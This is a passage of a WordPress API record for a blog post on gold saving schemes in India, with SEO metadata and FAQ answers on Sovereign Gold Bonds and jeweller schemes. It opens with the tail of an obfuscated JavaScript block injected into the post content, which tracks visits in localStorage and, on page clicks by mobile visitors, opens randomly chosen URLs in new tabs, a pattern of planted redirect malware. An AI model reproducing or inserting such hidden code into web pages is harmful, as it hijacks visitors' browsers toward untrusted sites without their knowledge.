_0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gold is a popular investment in India because it&#8217;s easy to sell and stays valuable even when the economy isn&#8217;t doing well. But buying gold can be tough for most people. Rising gold prices have made lump-sum purchases difficult. Gold saving schemes address this by allowing individuals to invest fixed amounts monthly, making gold accumulation &hellip; <a href=\"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Jeweller or Bank? The Gold Saving Schemes Indians Are Choosing in 2026&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":16294,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[11],"tags":[7331,7330,2778,2785,9169,2780,2783,9173,2781,2779,2784,9172,9171,2782,9170,7332,4144],"class_list":["post-5840","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-personal-finance","tag-best-gold-schemes","tag-gold-investment-scheme","tag-gold-investment-schemes-by-jewellers","tag-gold-monthly-investment-scheme","tag-gold-saving-scheme","tag-gold-savings-scheme","tag-gold-scheme-benefits","tag-gold-schemes","tag-gold-schemes-by-banks","tag-gold-schemes-by-jewellers","tag-gold-schemes-in-india","tag-grt-gold-saving-scheme","tag-malabar-gold-scheme","tag-online-gold-savings-scheme","tag-tanishq-gold-scheme","tag-which-gold-scheme-is-best","tag-which-monthly-gold-scheme-is-best"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Which Monthly Gold Saving Scheme Is Actually Worth It in 2026?<\/title>\n<meta name=\"description\" content=\"Want to buy gold without paying all at once? Check out the best gold savings schemes by jewellers and banks in India that make it easy with monthly plans.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Which Monthly Gold Saving Scheme Is Actually Worth It in 2026?\" \/>\n<meta property=\"og:description\" content=\"Want to buy gold without paying all at once? Check out the best gold savings schemes by jewellers and banks in India that make it easy with monthly plans.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-22T12:34:35+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-22T12:34:36+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/Jeweller-vs.-Bank.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Which Monthly Gold Saving Scheme Is Actually Worth It in 2026?\" \/>\n<meta name=\"twitter:description\" content=\"Want to buy gold without paying all at once? Check out the best gold savings schemes by jewellers and banks in India that make it easy with monthly plans.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/Jeweller-vs.-Bank.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":[\"Article\",\"BlogPosting\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"Jeweller or Bank? The Gold Saving Schemes Indians Are Choosing in 2026\",\"datePublished\":\"2026-01-22T12:34:35+00:00\",\"dateModified\":\"2026-01-22T12:34:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/\"},\"wordCount\":1936,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/04\\\/Jeweller-vs.-Bank.jpg\",\"keywords\":[\"best gold schemes\",\"Gold investment scheme\",\"gold investment schemes by jewellers\",\"gold monthly investment scheme\",\"Gold saving scheme\",\"Gold Savings Scheme\",\"gold scheme benefits\",\"gold schemes\",\"gold schemes by banks\",\"gold schemes by jewellers\",\"gold schemes in India\",\"grt gold saving scheme\",\"malabar gold scheme\",\"online gold savings scheme\",\"tanishq gold scheme\",\"which gold scheme is best\",\"which monthly gold scheme is best\"],\"articleSection\":[\"Personal Finance\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/\",\"name\":\"Which Monthly Gold Saving Scheme Is Actually Worth It in 2026?\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/04\\\/Jeweller-vs.-Bank.jpg\",\"datePublished\":\"2026-01-22T12:34:35+00:00\",\"dateModified\":\"2026-01-22T12:34:36+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"Want to buy gold without paying all at once? Check out the best gold savings schemes by jewellers and banks in India that make it easy with monthly plans.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744890884695\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891018870\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891031648\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891043174\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891058127\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891078215\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/04\\\/Jeweller-vs.-Bank.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/04\\\/Jeweller-vs.-Bank.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"Jeweller vs. Bank\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Personal Finance\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/personal-finance\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Jeweller or Bank? The Gold Saving Schemes Indians Are Choosing in 2026\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744890884695\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744890884695\",\"name\":\"Which one is the best gold-saving scheme?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Selecting the best gold-saving scheme depends on individual preferences. It mainly depends on whether you choose a scheme offered by jewellers or banks in India. You should consider factors like minimum contribution, scheme tenure, and the type of benefits offered before deciding.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891018870\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891018870\",\"name\":\"What is the government's gold-saving scheme?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The Government of India offers gold-saving schemes such as the Sovereign Gold Bond Scheme and the Gold Monetisation Scheme, which are regulated and focused on gold as an investment rather than jewellery purchase.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891031648\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891031648\",\"name\":\"What is gold savings?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Gold savings involve saving money in gold through physical gold or gold-related instruments. It helps diversify portfolios, hedge against inflation, and preserve wealth for long-term goals.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891043174\",\"position\":4,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891043174\",\"name\":\"Do gold saving scheme have tax benefits?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Yes, some gold saving scheme offer tax benefits. For example, the Sovereign Gold Bond Scheme provides tax exemption on capital gains at maturity, and the Gold Monetisation Scheme also offers tax-related benefits as per prevailing rules.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891058127\",\"position\":5,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891058127\",\"name\":\"Which is the best plan to invest in gold?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Sovereign Gold Bonds are considered one of the popular long-term gold investment options in India, as they offer annual interest along with tax benefits when held until maturity.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891078215\",\"position\":6,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/gold-savings-scheme\\\/#faq-question-1744891078215\",\"name\":\"Which gold fund is best?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Gold mutual funds and gold ETFs allow investors to gain exposure to gold prices without holding physical gold. Performance varies based on market conditions and fund structure, so outcomes depend on the chosen fund.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Which Monthly Gold Saving Scheme Is Actually Worth It in 2026?","description":"Want to buy gold without paying all at once? Check out the best gold savings schemes by jewellers and banks in India that make it easy with monthly plans.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/","og_locale":"en_US","og_type":"article","og_title":"Which Monthly Gold Saving Scheme Is Actually Worth It in 2026?","og_description":"Want to buy gold without paying all at once? Check out the best gold savings schemes by jewellers and banks in India that make it easy with monthly plans.","og_url":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2026-01-22T12:34:35+00:00","article_modified_time":"2026-01-22T12:34:36+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/Jeweller-vs.-Bank.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_title":"Which Monthly Gold Saving Scheme Is Actually Worth It in 2026?","twitter_description":"Want to buy gold without paying all at once? Check out the best gold savings schemes by jewellers and banks in India that make it easy with monthly plans.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/Jeweller-vs.-Bank.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":["Article","BlogPosting"],"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"Jeweller or Bank? The Gold Saving Schemes Indians Are Choosing in 2026","datePublished":"2026-01-22T12:34:35+00:00","dateModified":"2026-01-22T12:34:36+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/"},"wordCount":1936,"image":{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/Jeweller-vs.-Bank.jpg","keywords":["best gold schemes","Gold investment scheme","gold investment schemes by jewellers","gold monthly investment scheme","Gold saving scheme","Gold Savings Scheme","gold scheme benefits","gold schemes","gold schemes by banks","gold schemes by jewellers","gold schemes in India","grt gold saving scheme","malabar gold scheme","online gold savings scheme","tanishq gold scheme","which gold scheme is best","which monthly gold scheme is best"],"articleSection":["Personal Finance"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/","url":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/","name":"Which Monthly Gold Saving Scheme Is Actually Worth It in 2026?","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/Jeweller-vs.-Bank.jpg","datePublished":"2026-01-22T12:34:35+00:00","dateModified":"2026-01-22T12:34:36+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"Want to buy gold without paying all at once? Check out the best gold savings schemes by jewellers and banks in India that make it easy with monthly plans.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744890884695"},{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891018870"},{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891031648"},{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891043174"},{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891058127"},{"@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891078215"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/gold-savings-scheme\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/Jeweller-vs.-Bank.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/Jeweller-vs.-Bank.jpg","width":1920,"height":1080,"caption":"Jeweller vs. Bank"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Personal Finance","item":"https:\/\/shoonya.com\/blog\/personal-finance\/"},{"@type":"ListItem","position":3,"name":"Jeweller or Bank? The Gold Saving Schemes Indians Are Choosing in 2026"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744890884695","position":1,"url":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744890884695","name":"Which one is the best gold-saving scheme?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Selecting the best gold-saving scheme depends on individual preferences. It mainly depends on whether you choose a scheme offered by jewellers or banks in India. You should consider factors like minimum contribution, scheme tenure, and the type of benefits offered before deciding.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891018870","position":2,"url":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891018870","name":"What is the government's gold-saving scheme?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The Government of India offers gold-saving schemes such as the Sovereign Gold Bond Scheme and the Gold Monetisation Scheme, which are regulated and focused on gold as an investment rather than jewellery purchase.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891031648","position":3,"url":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891031648","name":"What is gold savings?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Gold savings involve saving money in gold through physical gold or gold-related instruments. It helps diversify portfolios, hedge against inflation, and preserve wealth for long-term goals.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891043174","position":4,"url":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891043174","name":"Do gold saving scheme have tax benefits?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Yes, some gold saving scheme offer tax benefits. For example, the Sovereign Gold Bond Scheme provides tax exemption on capital gains at maturity, and the Gold Monetisation Scheme also offers tax-related benefits as per prevailing rules.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891058127","position":5,"url":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891058127","name":"Which is the best plan to invest in gold?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Sovereign Gold Bonds are considered one of the popular long-term gold investment options in India, as they offer annual interest along with tax benefits when held until maturity.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891078215","position":6,"url":"https:\/\/shoonya.com\/blog\/gold-savings-scheme\/#faq-question-1744891078215","name":"Which gold fund is best?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Gold mutual funds and gold ETFs allow investors to gain exposure to gold prices without holding physical gold. Performance varies based on market conditions and fund structure, so outcomes depend on the chosen fund.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/5840","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=5840"}],"version-history":[{"count":8,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/5840\/revisions"}],"predecessor-version":[{"id":16295,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/5840\/revisions\/16295"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/16294"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=5840"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=5840"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=5840"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}